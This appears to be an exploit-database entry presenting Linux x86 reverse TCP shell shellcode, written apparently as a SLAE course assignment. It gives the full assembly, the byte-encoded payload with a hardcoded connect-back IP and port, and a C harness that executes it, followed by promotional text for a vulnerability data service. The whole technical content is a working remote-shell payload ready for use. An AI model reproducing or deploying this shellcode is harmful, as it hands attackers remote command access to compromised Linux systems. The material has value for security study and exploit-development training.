/*
* Linux x86 - Reverse TCP Shell - 72 bytes
* Author: xmgv
* Details: https://xmgv.wordpress.com/2015/02/21/slae-assignment-2-reverse-shell/
*/
/*
global _start
section .text
_start:
; socket(AF_INET, SOCK_STREAM, 0);
push 0x66 ; socketcall()
pop eax
cdq ; zero out edx
push edx ; protocol
inc edx
push edx ; SOCK_STREAM
mov ebx, edx ; socket()
inc edx
push edx ; AF_INET
mov ecx, esp ; load address of the parameter array
int 0x80 ; call socketcall()
; dup2()
xchg ebx, eax ; store sockfd in ebx
mov ecx, edx ; initialize counter to 2
loop:
mov al, 0x3f
int 0x80
dec ecx
jns loop
; connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
mov al, 0x66 ; socketcall()
xchg ebx, edx ; ebx=2, edx=sockfd
push 0x8501A8C0 ; 192.168.1.133
push word 0x3582 ; port
push word bx ; AF_INET
inc ebx ; connect() -> 3
mov ecx, esp ; point to the structure
push 0x10 ; sizeof(struct sockaddr_in)
push ecx ; &serv_addr
push edx ; sockfd
mov ecx, esp ; load address of the parameter array
int 0x80 ; call socketcall()
; execve(“/bin/sh”, NULL , NULL);
push 0xb ; execve()
pop eax
cdq ; zero out edx
mov ecx, edx ; zero out ecx
push edx ; push null bytes (terminate string)
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; load address of /bin/sh
int 0x80 ; call execve()
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0"
"\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68"
"\xc0\xa8\x01\x85" // <--- ip address
"\x66\x68"
"\x82\x35" // <--- tcp port
"\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
int main(void) {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation